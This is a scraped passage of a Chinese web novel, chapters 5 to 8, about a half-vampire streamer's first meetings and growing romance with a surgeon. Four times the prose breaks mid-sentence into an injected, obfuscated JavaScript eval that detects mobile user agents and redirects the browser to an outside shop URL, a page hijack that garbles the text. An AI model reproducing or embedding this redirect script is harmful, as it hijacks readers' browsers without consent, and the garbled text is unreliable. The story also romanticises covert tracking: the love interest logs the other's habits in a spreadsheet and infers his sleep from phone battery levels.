原本他都打算先吃一个星期的血制品了，预算居然还有剩！那他是不是也可以给南云舟准备一些见面礼物了？！ 或者攒下来，等以后再请南云舟吃几次饭！ 小血族开开心心就预订了一个位置，计划在晚上六点左右吃完了晚餐，还可以去附近的公园夜市逛一逛，最后平安的，完美的，结束回家！ 【你下个月的行程是什么样的呀？】 温西订好餐厅后，一想到要和南云舟见面，有些兴奋也有些担忧，根本睡不着，于是蹲着南云舟上班的点，等对方把“早安”两个字一发来，他就开始询问。 【今天起这么早？】 南云舟看着秒回的消息，眉梢微皱。 对于温西说完“晚安”后偷偷摸摸的熬夜，他不是完全不知情，但他没有强制约束对方的理由和身份，所以选择睁一只眼闭一只眼。 他也从来不去询问对方为什么白天是失踪状态，年轻人习惯性熬夜和喜欢睡懒觉都很正常。 只不过这一次，温西似乎通宵了。 那边看着这个突如其来的问题，十分明显的沉默了一会，随后不知道怎么想的，将那个问题复制粘贴，又问了一遍。 【你下个月的行程是什么样的呀？】 【自动回复？】 【对！】（已撤回） 【你下个月的行程是什么样的呀？】 南云舟看着被撤回的消息，无奈地笑了一下，将自己下个月的安排详细地讲述了一遍。 “上旬有三四台手术，不算多但时间长，中下旬以科研为主，有几个学术交流可能要出差，不过学校那边结课了，没有急症手术不会太忙。” “好了，现在快去睡觉。” 见已经被发现了，小吸血鬼也不躲躲藏藏地装人机了。 【好嘛，那你来找我玩提前和我说哦，我也准备了礼物！】 【会的。】 按照这种工作安排，温西本以为他和南云舟见面的时间会定在没有那么忙的月中下旬，结果没有想到才第一天南云舟就说要来了。 “就明天吗？！” “没、没有不方便。” “那就明天下午见啦。” 小吸血鬼临到阵前又开始害怕了，但此时已箭在弦上，不得不发。 他先是在直播间挂了请假条，随后又是去找店老板确定位置，最后把礼物翻来覆去的检查了一番。 见面的当天温西起得格外的早，下午三点太阳正当空照的时候就醒来了。 他按照店老板的教程伪装好后，就开始在房间里走来走去，也不知道该做些什么好。 店老板的总店位置稍远一点，预约的是下午17:30分。 走路需要20分钟，但因为温西也是第一次去，担心路上发生意外，而且作为东道主他理应提前等待，所以小吸血鬼算了算，觉得自己应该在16:40就提前出门。 不，不对，他带着礼物肯定走得慢，还得留足一点时间，得16:20就出门！ 于是温西在指针刚走到16:00的时候，就提前走到了玄关，换好了鞋子，16:05的时候拿上了钥匙，16:10打开了家门。 16:11又飞奔回了房间，拿上了自己的墨镜和太阳伞，还用帽子和口罩将自己遮得严严实实。 但不知道是不是墨菲定律，好像越害怕一件事出错，出错的概率就越高。 温西先后遇到了施工路段需要绕行，接着又遇到了难缠的“大学生创业”推销员，见温西说话软软的就一直死缠烂打。 刚回国的小吸血鬼哪见过这种骗局，花79买了两只笔想要尽早脱身，反而被当成了好骗的羊羔逮着他一个薅，运气好撞上了出外勤的警察叔叔帮忙解围，但又被拉着科普了十几分钟反诈知识。 面对公职人员怕被遣返的小吸血鬼更是战战兢兢，想要表现得像个“良民”，反而被查了身份证，要求将墨镜和口罩取下来。 小吸血鬼：QAQ 这就是白天的世界吗？怎么这么危险。 “……我只是有点紫外线过敏。”温西声音小小地说出了店老板提前教他的借口。 一顿折腾下来，温西的时间所甚无几，还在拉拉扯扯的过程中照到了一点太阳，有些不适，脸色显得更加苍白。 “你没事吧，需要去医院吗？” 警察都被温西吓了一跳。 “没事的，谢谢，我真的有点急，先走了。” 温西说完重新带上墨镜和口罩匆匆离去。 后面的路程他走得有些着急，自己有些喘不过气来了都没有发现，直到最后卡着点来到了店门前，发现玻璃倒映中的自己状态似乎有些不对。 “滴滴。” 手机传来了南云舟的消息。 小吸血鬼盯着手机屏幕上的字，花了好一会才从眩晕中聚焦，提取出了信息。 南云舟说自己提前到了，让他不用着急。 温西呼吸有些急促，深知自己现在的状态并不适合出现在南云舟的面前。 ……可是，他都走到这里来了。 他抬眼看向室内，试图从坐在大厅等待的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375282|200068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群中辨认出南云舟，但他又生怕现在同南云舟对上视线。 不可以见面。 温西深呼吸，转身。 可下一秒便直愣愣地往地上栽去—— 顿时四周传来了惊呼声。 “不好了，这里有人晕过去了！！！” 店外服务员的声音吸引了大厅中南云舟，他第一时间就站起身往外走去。 “我是医生，让我看看。” 在好心围过来帮助的人群中，温西第一下就听出了南云舟的声音。 “温西？我带你去医院。” 饶是在墨镜口罩和帽子的层层掩护之下，南云舟也同样一眼就认出了他。 完蛋了搞砸了。 温西眨了眨眼，盯着对方怔怔地想。 要被遣返了。 “让一让让一让，这是我家后辈，家族遗传的小毛病，问题不大我有药。” 店老板扯着嗓子挤开了围观的人群，把温西从南云舟的怀里一把就拉了起来。 “你……” 南云舟一把就抓住了店老板的手臂，似乎想要询问些什么，但被抢先开了口。 “给我二十分钟，还你一个活蹦乱跳的男朋友。” “我觉得他应该不太想这样出现在你面前。” 说完，店老板就将人带去了自己的休息室，一边拿出血包给温西灌下，一边教训道。 “我真是不知道说你什么好，我说迟到都没关系，你反而给我这么早出门，生怕那太阳点不着了？也得亏是你们这些混血。” “你躺一会缓缓就没事了，还好挡得够严实，外面都是我员工不会乱说的。” 温西感觉到自己不再虚弱，精神一下就好多了，他小口小口喝着血包，一边请教着最重要的问题。 “那我带待会怎么和南云舟解释，我不会把他吓着了吧……” “吓肯定是吓着了的，至于借口，中暑，低血糖，紫外线过敏，随便什么都可以，反正也差不多。” “再问就是家族性遗传，你也不太了解，哎，还是太年轻了。” “好，谢谢。”温西有些不好意思，“那这个血包……” “这是套餐里包含保险的服务，不用客气。” 店老板说完，便离开了休息室。 温西喝完了血包，在黑暗中一下就缓过了神，就从沙发上爬了起来，准备去找南云舟。 “家族遗传，低血糖，紫外线过敏，中暑……” 小吸血鬼将店老板传授的知识点翻来覆去倒背了几遍，才有勇气打开休息室的门，结果一拉开，就看见南云舟在门口等待着。 温西背好的台词一下就卡壳了，就这样呆呆地望着对方，不知道说些什么。 “感觉怎么样？” 南云舟走上前一步，率先开口。 少年机械地摇了摇头，反应了一会感觉不太对，又连忙点头，接着便忐忑地等待对方询问自己发生了什么，又怎么会晕倒。 但想象中的一连串刨根问底的询问没有到来，南云舟什么都没有问。 他只是伸手揉了揉自己的脑袋，然后说，“没事就好。” “我们去吃饭吧。” 6. 第 6 章 虽然第一次见面过程有些坎坷，但好在结局不错。 温西一开始还提心吊胆，有些担心，但南云舟恰到好处的体贴让小吸血鬼不知不觉就放下了戒备。 不知道是不是店老板和南云舟说了些什么，南云舟好像认为自己是因为低血糖晕倒的，一直在给自己夹菜，导致温西一直在埋头干饭，就连紧张的情绪都追不上南云舟投喂的速度。 “我真的吃饱了，再吃就撑了。” 小吸血鬼拍了拍自己的肚子，十分满足。 也不知道店老板是怎么研究的，这些从未见过的菜式人类血族居然都能吃，味道也很不错，简直让食谱单一的小吸血鬼开了眼。 “好，那就出去走走。” 南云舟率先提出来饭后消食环节，两人一前一后就走出了包间，在庭院里散步。 此时的太阳已经下山了，城市的灯光陆陆续续亮了起来。 “说起来，西西能约到这里，我还挺惊讶的。”南云舟见气氛有些沉默，率先开口。 “是吗？” 温西眨了眨眼，不太明白。 “嗯。” 一开始南云舟听温西说要攒钱请他吃饭，他估摸着凭温西的直播收入水平怎么样也不至于还需要攒钱。 结果没有想到，温西约的是这家私房菜馆。 这里可不是说攒攒钱就能来吃的，一般人根本订不上，但温西看起来还和店老板关系很好的样子。 “原来这么难预订吗？” 小吸血鬼愣了一下，解释道，“我和这家店的老板算是老乡？他在我们小区有一家小馆子，我总去就混熟了。” “上次的毛血旺就是在他们店里吃的。” 提到这，小吸血鬼的话匣子一下就打开了，“虽然他们家的菜好吃是好吃，但是这老板可坑啦，还会忽悠人，谁来都会被狠狠宰上一笔。” 南云舟笑了笑，“原来是这样。” 只不过那店老板确实完全看不出来是外乡人，不像面前少年，皮肤白皙，面容精致，头发有些天然卷，还是不太常见的亚麻浅金色。 很容易就让人联想到他是否有位金发碧眼的妈妈。 真人比照片更好看。 ……也比小时候更好看了。 “你总是盯着我做什么呀？” 温西稍一抬头，就对上了南云舟的视线，睫羽有些不自然地颤了颤，慌慌张张地错开，生怕哪里有些不对劲被南云舟发现了。 “西西很可爱。” 南云舟再次伸手揉了揉少年的发顶，看见了对方的耳尖一下就变成了粉色，笑道，“时间不早了，我送你回去吧。” “啊，你送我吗？不、不用了吧？”小吸血鬼连忙摆手，“我家离这里很近的，走路二十分钟就到了。” “亲自把你送回去会比较放心。” 南云舟语气中流露的担忧，一下就让温西想起了今天下午来时的意外。 他好像还是吓到南云舟了，虽然是另外一种形式。 “而且我开了车，就不用那么辛苦把礼物抱回去了。” 南云舟趁热打铁，小吸血鬼迟疑了一下还是同意了。 毕竟他没有想到南云舟送他的礼物居然有那么大一箱，也不知道里面是什么，他的礼物盒并排放在一起，就显得格外袖珍。 返程的路段稍微有些堵，但还是很快就到达了温西所住的小区。 “那我上去啦？” 温西下了车，抱起了自己的礼物同南云舟告别。 南云舟站在车旁，一直看着面前的少年，像是还有很多想问的。 该来的终究还是会来。 小吸血鬼的心一下又提到了嗓子眼，眼巴巴地等待着对方的询问，可最后电梯都来了，也没等到对方开口。 “那，拜拜了？” 看着已经缓缓打开了门的电梯，温西最后一次回头。 “嗯，要照顾好自己，晚安。” “好，我会的。”小吸血鬼知道对方指的是什么，有些不好意思地抿了抿唇，眼睛弯弯地多解释了一句，“今天只是一个意外，晚安。” 接着，电梯门缓缓关上，开始上行爬升，最后稳稳地停在了十二楼。 十二楼。 南云舟看见了这个数字，才重新回到了车上。 这个小区是很有名的高档小区，一梯一户，虽然有些年头，但入住率很高，出了名的隐私好，进出都很严，普通人根本买不着，也从不向外出租。 很安全。 “滴滴滴。” 南云舟的车刚驶出小区，就看见了温西发来的消息，还有打开了礼物后拍下的照片。 【里面怎么还有一束花呀！！！】 光是文字就能感受到少年的惊喜了。 南云舟笑了笑，将车停靠在路边，透过车窗，还能看见十二楼亮起的灯。 【只是装饰。】 那是一束混合花束，由文心兰，绣球花，白色郁金香和蔓塔玫瑰搭配而成，色调温柔细腻，关键是不突兀。 想到这，南云舟就有些无奈，想送一束花都需要找这么多理由。 他什么时候才能光明正大带着红玫瑰去见他？ 【好看！！[图片]】 【路上注意安全。】 手机又传来了消息提示音，温西拍了一张捧着鲜花的照片给他。 南云舟盯着那张照片看了许久，最后一键保存，设置为壁纸。 人比花好看。 除了花，南云舟还送了不少实用的东西，首先是睡眠眼罩和耳机，其实就是新的直播外设，最后还有一个娃娃，正好是他没有的隐藏款。 温西刚把那个娃娃拿到跟前，就闻到了一股熟悉的木质香水味，和今天南云舟今天身上的香一模一样。 他几乎能想象出这个娃娃是怎么沾染上南云舟的味道。 【你怎么知道我没有这个娃娃？】 这个问题是南云舟过了四十分钟才回复的，应该是才进车库停稳，就回复了自己。 【这张照片上没有。】 南云舟直接回复在温西发过的第一张照片上，那张照片被踹到地上的娃娃就有两只，剩下的枕头左右各一只。 但其实枕头左边的娃娃只露出来一只脚，南云舟依旧准确地知道了他少的是哪一款。 【没必要看这么仔细吧！！！】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375283|200068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 温西一想到这张照片被翻来覆去看得这么细，耳根就又开始发烫，跳下床去拿了一包冰椰汁给自己降温。 【你打算把它安置到哪？】 对方没有正面回答温西，反而进一步抛出了一个更难的问题。 ……自己打算把娃娃放哪？ 小吸血鬼看向了自己的房间。 他的娃娃都是放在床上的，棺材床睡久了人类正常形状的床对于他来说实在是太空旷。 床头已经没有位置了，床尾的话，有被他踹下床的风险。 这样对待别人的心意是不是不太好？ 温西纠结了一会，把右边床头的娃娃拿开，将新来的放了上去，可只是放了一小会，温西就感觉自己的床铺上沾满了南云舟的气味。 ……这、有点暧昧了吧。 小吸血鬼感觉自己更是要热得烧着了，连忙将娃娃挪了一个地方。 不想放太远，也不能放太近，挑来挑去，最后放在了另一个他也长时间待的地方。 【我把他放在了我的电脑桌上。】 温西还拍了一张照片给南云舟交差。 【其他娃娃都在床上，它岂不是很孤独？】 看见这条消息已读后，南云舟没两秒便又接着道。 【不喜欢吗？好像娃娃过多给你造成困扰了，抱歉，下次选礼物会考虑更周到的。】 都这么说了，他哪能还把娃娃丢电脑桌上？于是小吸血鬼又哼哧哼哧将娃娃重新放回原位。 【没有！我很喜欢！[图片]】 能想象到少年脸红红的还要将罪魁祸首放到自己的枕头旁，南云舟就忍不住轻笑出声。 好可爱。 南云舟看着慌慌张张结束聊天的对话框，心情颇好地也去洗了澡，然后在书房的电脑面前坐下，调出了一个表格。 表格里面记满了有关于温西的一切。 口头禅，爱好，作息，自己都不知道的小习惯，报备从出门到各种目的地的所有时间……包括这次见面目测的身高体重，以及下午发生的那起意外。 南云舟根据三个小时的接触和已知信息，排除了大部分的先天性疾病。 他将有可能的情况做了大量的分析，还列举了需要做的检测，最后还总结出了一些比较可行的作息锻炼以及营养模式。 没有用。 凭他现在的身份，能做的实在是太少了。 温西八岁那年的搬家似乎就是身体原因造成的，说是去国外治疗，约好的要给他打电话，结果最后他连去了哪个国家都不知道。 南云舟垂着眸子，指尖在桌面轻点。 他一度都怀疑那个总是跟在他屁股后面喊哥哥的漂亮洋娃娃已经不在人世了，结果在半年前又再次意外重逢。 温西的身体似乎没有完全痊愈，他很想弄清楚温西的身体到底出了什么问题。 但这些似乎是少年的秘密，急不来，他得更有耐心，让少年愿意信任自己，接受自己。 他感觉自己快要抓到关键了。 南云舟回忆着少年从休息室打开门的瞬间，萦绕在他身边的，淡淡的，若有若无的—— 血腥味。 7. 第 7 章 “早。” “休息得怎样，多谢昨天的款待，玩得很开心。” 温西听着南云舟发来的语音条，克制住了自己立马就回复的欲望，毕竟上一次就是因为秒回作息露馅。 至于休息得怎么样？看他到现在人类上班点都还没有睡着就知道了。 虽然娃娃身上的那股味道已经很淡了，而且随着挥发越来越淡，但他一闭上眼睛，还是有种南云舟坐在自己床头的感觉。 好古怪，果然不能细想。 温西等了等，十点钟都还没有睡着的时候，就给南云舟回复了消息。 【早安~】 【还可以，昨天是不是吓到你了，真的很抱歉QAQ】 “今天好早。” 南云舟那边似乎不太忙，第一时间就给自己发了语音，夹杂着医院特有的背景音。 “是有一点。”南云舟简直是顺着杆子网上爬的一把好手，直接道，“下一次出来玩让我来接你吧，反正不太远。” 【太麻烦你了吧。】 三言两语，这句话的重点就从“下一次的见面”变成了“专车接送”，温西完全没有意识到自己答应了什么，找的几个借口还全都被南云舟有理有据的驳回了。 “就这样说定了，我先去工作，西西要记得吃早餐。” 说完，南云舟就处于下线状态了。 小吸血鬼重复听着那些语音，好半天才反应了过来，怎么就下一次出来玩了？！！ 温西虽然有些慌乱，但他完全没有爽约放鸽子的念头。 他的第一想法是：上一次和南云舟吃饭在出了意外的情况下，都没有被发现什么异常，那是不是他以后可以经常和南云舟见面了？ 只要不接触阳光，避开人群，小心一点点，他就能拥有一个关系很好很好的人类朋友！ 小吸血鬼突然有些期待他和南云舟第二次见面了。 不过南云舟后面好几天都有手术，连吃饭睡觉的时间都少，可偏偏这样，这个人还坚持每天给温西发早安晚安，叮嘱他好好吃饭不要熬夜。 为了不让忙得不可开交的南云舟担心，小吸血鬼也是过上了弄虚作假的生活，每天意外的充实。 【会议还没有结束吗？】 南云舟已经连续三天没有来温西的直播间了，前两次是有手术，今天是有个临时学术会议，说是会议地点正巧距离温西很近，问他结束之后想不想一起吃晚餐。 结果现在小吸血鬼都下播了，南云舟那边都还没有结束，早已经过了晚餐的点了。 【嗯，遇到了缠人的药商。】 【就像你那天遇到的推销团伙一样。】 小吸血鬼一下就感同身受了。 那真的很缠人了！！！ 温西看着快接近十一点的时间，想到明天南云舟还要上班，就猜到这一次见面大概率是泡汤了。 【好吧，那你也要早点休息哦，晚安。】 消息发过去，南云舟隔了十分钟才回复。 【就要晚安了吗，不下来吃点宵夜？或者陪我吃一点。】 【我到你们小区门口了。】 温西：！！！ 他跑去阳台上，一眼就看见了南云舟的车，才火急火燎地重新换回衣服带上瞳片。 “我来了我来了。” 少年飞奔着从大门跑出来，眼睛在月光下亮晶晶的，气都还没有喘匀，就开口道，“久等啦。” “是我让你久等了。”南云舟满脸歉意，还带了赔礼的椰汁，“尝尝这个口味，看看喜不喜欢。” “好~” 虽然说是陪南云舟吃宵夜，但吃到第一口东西的还是温西，两人就在路边随手买了些小吃，一边吃一边在月色下散步。 小吸血鬼已经很久没有和其他人在线下这样接触过了。 他才回国，这片区域的同类他大多不认识，主要的社交全在网络上，可就算是网上聊得再亲热的人也会有自己的现实生活。 大洋彼岸的亲人朋友跟自己都有时差，他父母更是在哪个小国家度假都不知道，突然感觉有人这样陪他聊天已经是很久远的事情了。 “已经十二点了，该休息了。” 南云舟抬手看了看手表，几乎是掐着点带着温西逛回了家楼下。 “啊。” 温西听见时间，一下就露出了十分失望的神情。 时间怎么过得这么快…… 其实晚上十二点对于他们吸血鬼来说，才相当于人类的下午时间段，连晚餐都还没吃的那种。 可是南云舟是人类，这这个时间对于人类来说，已经很晚了，更何况南云舟开车回去还需要半个多小时，等洗漱完睡觉都要一点钟了。 “好吧。” 温西有些恋恋不舍地告别， “那你回去的路上小心哦。” 南云舟看着面前半天没有挪动位置，还不愿意离开的少年，轻笑了一声，故意道，“西西自己回去了吗，不邀请我去你家坐坐？” 话音一落，面前的少年就瞪大了双眼。 “……啊？可、可是我家，我家还没有来得及收拾哎。”小吸血鬼说话一下就磕巴了起来，“要、要不还是下次吧，等我收拾一下。” 少年解释的声音越来越小，就用那双漂亮的眼睛望着自己，等待着自己的“回心转意”，收回那句话。 怎么这么乖。 “好。” 南云舟笑了笑，又伸手在温西的脑袋上揉了揉，“那就下次，快上去吧。” 听到这句话，温西如释重负，转身就往台阶上跑去，跑到一半回头看，就对上了南云舟那双满是笑意眼睛。 于是这才后知后觉明白这是骗自己回家的小伎俩。 温西回到家，关上门，看着不算乱，但也不算整齐的屋子，沉默了两秒，连衣服都没换就开始搞起了卫生。 下一次。 他会请南云舟上来坐坐的。 …… “你是说，你就这样跟他约会两次了？” 薇薇安难得早起一次，赶在温西睡着之前跟他聊了一会，询问有关南云舟的最新进展，就得知了这么一个消息。 温西听着薇薇安的用词，点头也不是，摇头也不是。 “所以，你们两个现在算什么关系？” 薇薇安一下就问到最最关键的问题，瞬间就将温西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375284|200068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问蒙了。 “就，好朋友啊？” 这句话说出口少年自己都不太自信。 薇薇安：“真的吗？我怎么感觉你在攻略南云舟。” 温西不懂：“什么意思？” “就是旮旯给木啊，你们现在这样天天聊天，天天出门约会，把南云舟的好感值刷上来，这样就算暴露了身份也无所谓，他肯定不会害怕你的。” “我知道此事在你们华夏自古就有记载，比如那个什么聂小倩，人鬼情未了，我知道的。还有那种狐狸精，人妖恋！” “华夏对这种非人类感情接受度还挺高的。” 小吸血鬼听着薇薇安的推测，眨了眨眼，拼命地回忆最近几天和南云舟的互动。 有吗？ 他是这样想的吗？ 他吗？ “也没有很高吧，这不是还有许仙。” 温西小声地补充，“他是被白娘子吓死的。” “这是个例！后来许仙不也接受白娘子了吗？她儿子当官之后就把白娘子救出来了，我知道这个故事的。” 小吸血鬼听着薇薇安的话，沉思了一会，不知道想了些什么，自顾自地点了点头。 “我觉得你说得有道理。” 温西一脸凝重。 薇薇安：？ 她什么时候没有道理了？ 温西疑似被小伙伴启发，当真去刷了南云舟的好感值，每天早安晚安的，有空就一起打游戏，还经常约南云舟散步，看电影，喝椰汁。 虽然有些笨拙，但态度很是认真。 南云舟是他现在最亲近的朋友，但温西也知道，再厚的纸也不可能包住火，他可能在未来的某一天就不小心暴露了。 血族和人类的关系就像猫和老鼠，血族以人血为食，人类对血族具有天生的敌意和惧意。 但是，如果那个时候，他在南云舟心中的地位足够高，感情足够深的话，是不是就可以克服这层身份障碍呢？ 【最近是发生了什么吗？】 在温西不知道第几次约南云舟出门散步，南云舟发来了消息询问。 【哎？没有啊，你怎么这么问。】 小吸血鬼摸不着头脑，接着南云舟一个视频电话就打了过来。 “因为你最近……比较粘人。” 南云舟想了一个合适的措辞，一边观察少年的脸色，一边直白地询问，“是身体不舒服吗，还是朋友家人发生了什么？” “没有啦。” 温西躺在床上翻了一个身，本来还想掩盖一下自己的目的，忽然就想到真挚和坦诚也是最好刷好感的一种方式。 他清了清嗓，开口道。 “好吧，我就是在刷你的好感值，想让你多喜欢我一点，想和你成为最最好的朋友！” 在国外长大的少年总是很敢说，丝毫不顾及别人骤快的心跳。 南云舟盯着面前的少年，像是出神，又像是在用目光一寸一寸的舐过，随后慢慢地垂落眼睫，遮住了所有。 “哦。” 南云舟撤走了脸上所有的表情，只剩下语气中带着的失望情绪。 “我还以为你在追我。” 8. 第 8 章 “什、什么？” 小吸血鬼整张脸瞬间泛红，明知南云舟可能在开玩笑，却依旧不知道如何反驳，只能小声地谴责，“怎么这样啊。” “逗你玩的。” 南云舟笑了笑，“但如果是别人，说不定真的会以为在追他，西西可要注意。” 温西乖顺地点了点头，随后又解释道。 “不过，我对别人不这样的。” “只对我这样？” 南云舟像是抓到了重点，再次撩拨道。 “对啊。” “那能一直这样吗？” “为什么不可以？” 小吸血鬼几乎没有思考，就脱口而出。可当他抬头对上南云舟的眼睛时，才意识到似乎有些不妥。 他还想要再解释，但南云舟没有给他反悔的机会，低声笑着说了个“好”，就把话题转移了。 “明天我就要出差了，时间比较长，得换好几个地方，直播间可能就没时间去了。” “要去哪些地方啊？”小吸血鬼应了一声，就好奇地询问，“我都没去过什么地方。” 血族几乎是与“旅游”这个词绝缘的，他们不能白天出行，也不能去人多的地方，就算报备入境也会受到严苛的督查，要是出了什么血案就是第一个怀疑对象。 温西的妈妈小时候也是这样过来的，直到有一天她发现自己其实并不害怕阳光，也并不需要喝血。 她完美的错开了所有的血族基因。 于是她开始享受自己的普通人生，谈恋爱，养育一个可爱崽崽，在崽崽成年之后和爱人双宿双飞，游山玩水。 看得温西可羡慕了。 “嗯，都是很有名的城市。” 南云舟大概能猜到为什么少年说自己没去过什么地方，安慰道，“但其实所有的城市都大差不差，一样的连锁店，一样的商场，也没有什么好玩的。” “这样啊，那你会给我带伴手礼吗？” 小吸血鬼双眼亮晶晶，南云舟还没有出发就已经想要伴手礼了，“如果城市都差不多的话，吃的肯定不一样。” 虽然血族并不能消化那些人类食物，但谁让他是混血的混血呢！吃一点点还是可以的！ “当然。” 两人又聊了一会，临近挂断时，南云舟看着对面的少年忽然开口。 “那我出差的这几天，西西会想我吗？” 小吸血鬼一下就被问住了。 “应、应该……” 温西想回答“应该不会吧”，但他的情商告诉他不能这么回答，便把后半截咽了回去，并且有理有据地道，“出差也可以发消息，打电话呀，现在的网络还是很方便的。” “而且也才八九天，半个月都不到。等你回来，就好好休息一下，然后我们再一起玩！” 小吸血鬼在人类世界待久了，也学会了画饼的技巧，但他没有想到的是，这个饼到最后是画给自己吃的。 光是南云舟在飞机上的三四个小时，都惹得小吸血鬼在床上无聊打滚。 温西最近弄虚作假的生活作息是跟南云舟发完早安，再聊一会作为睡前活动，最后才美美躺下。 可今天南云舟只是出差第一天，发完“早安”之后就上了飞机断了网，让小吸血鬼一闭上眼睛就总感觉自己还有什么事情没做完。 温西重新爬起来在屋子里面晃了两圈，把原本就紧闭的三层窗帘重新拉上了一遍，将南云舟送的眼罩和睡眠耳机翻出来带上，才重新躺下。 安静了没两分钟，被窝中突然伸出了一只手，将枕头右边的那只娃娃以最快的速度拉进了被窝。 …… 温西起床后就开始了直播，南云舟的会议似乎还没有开完，但这一天聊天框中都有断断续续的消息发来。 有时候只是一句“到了”，有时候只是一张照片，发完之后就匆匆忙忙地做其他事情去了。 从那些照片上，可以很明显地看出南云舟的行动轨迹大概是下了飞机之后，几乎没有去酒店歇脚，就直接去了会议室，接着就是当地的医院。 中午在机场里将就了一顿，晚餐在医院食堂又将就了一顿，接近晚上八点九点，才能够自由活动。 南云舟就是这个时候给温西打了个视频，说自己在逛当地的特产店，问他有没有想要的。 直播间的水友们听见了两人的聊天，又在弹幕里好一阵尖叫。 “挑好了，我寄给你。” “好，我等着呢。” 正常来说，快递怎么样也要三四天才能送达，可温西第二天中午刚起床，就在家门口看见了快递，大大的一盒。 【多买了几份，西西可以给朋友们分一点。】 后面南云舟每换一个新城市，等工作忙完了之后，都会第一时间准备好伴手礼，然后以最快的速度专人送到温西的家门口。 于是小吸血鬼每天起床，家门口都会刷新南云舟远在千里送来的伴手礼。 昨天还在电话里提到的那些小物件，今天就能出现在自己的手里，温西突然有一种沉甸甸的感觉。 明明都是伴手礼。 他的爸爸妈妈周游世界也经常给他寄伴手礼，但他总感觉南云舟送的，似乎不太一样…… “滴滴滴。” 在会议的中场歇息空隙，特殊消息提示音再次响起，南云舟刚将手机拿出来，一个老领导就走了过来，笑吟吟地问。 “又是爱人的消息？” 南云舟没有反驳，只是问，“您看出来了？” 那老领导爽朗一笑，“那是自然，你年轻有为，最近几天的表现也不像是还单身的样子，又是打电话又是寄特产，一看就是有家属的。” “这几天辛苦你了，爱人没闹情绪吧。” 南云舟笑了笑，语气骄傲又有些不易察觉的失落，“没有，他很乖。” 在第七天的时候，温西实在是受不了了，一大早就给南云舟发了消息。 【你什么时候回来啊……】 他从来没有觉得七天有那么的长。 他感觉自己已经很久很久没有出门了，明明最最开始的时候，他也是好几天才出门一趟。 “想我了？” 两分钟后，南云舟的电话就打了过来。 小吸血鬼可怜巴巴地趴在娃娃身上，左右言他，“你一个星期没有来直播间，大家都说想你。” “嗯，那你想我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375285|200068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” 南云舟才不管其他人，追着道问。 “想。” 小吸血鬼十分自然地开口，十分坦诚，像是根本不觉得这些对话有什么。 “所以你什么时候回来？” “明天。” 南云舟得到了自己想要的答案，眼中一下就有了笑意，他安抚着少年，“你今天晚上睡一觉起来，就能看见我了。” “当然，前提是不要熬夜，按时睡觉，不然明天可能会错过我给你的电话。” “……我有熬夜吗？” 温西有些心虚，弄虚作假的日子混多了，难免有些破绽，但就算是死，他也要死个明白。 然后吸取教训，下次继续。 “是吗？可我为什么凌晨两点还看见你在线？” “啊？我不是开隐身了吗？” 温西大吃一惊，连忙去翻开自己的登录状态。 “诈你的。” 温西：Σ( ° △°|||)︴ “其实是根据手机电量猜测的。” 温西很喜欢装扮自己的社交软件，虽然隐身了，但是还是能看见他手机剩余电量。 一般凌晨手机只剩下百分之二十左右，就是还在熬夜，但准备要睡了，要是在百分之七八十左右那就是已经睡着了，手机正在稳定的充电。 但温西大部分都情况都是稳定在百分之四十到五十，过了好几个小时都没有变化，那就只有一个原因了：在边充电边打游戏。 “虽然不一定完全准确，但结合其他情况，也能猜个大概。” 温西：！！！ 这就是聪明人吗，这谁防得住？！ “哎呀，我的生物钟是这个样子的，可能是国外的时间习惯了。但是我保证我都睡满了十个小时的！绝对没有睡眠不足！” 小吸血鬼放软了声音，老老实实认错，争取从宽处理，再然后拉对面下水。 “而且你明明也经常熬夜，我也是因为工作嘛。” 见回旋镖打回到自己的身上，南云舟轻声叹了一口气，有些无奈，“输给你了。既然都跟我比熬夜了，那以后就跟我一起锻炼吧。” 南云舟听着电话那头一下就没了动静的少年，笑了笑，故意道，“某个人不会搞双标吧。” “……好啦好啦，我知道你有夜跑的习惯，我跟你跑就行了。” “那就这样说好了。” 南云舟挂断了电话，就打开了自己的手机备忘录，将作息那一栏划掉，下面的锻炼计划栏就自动被顶了上来。 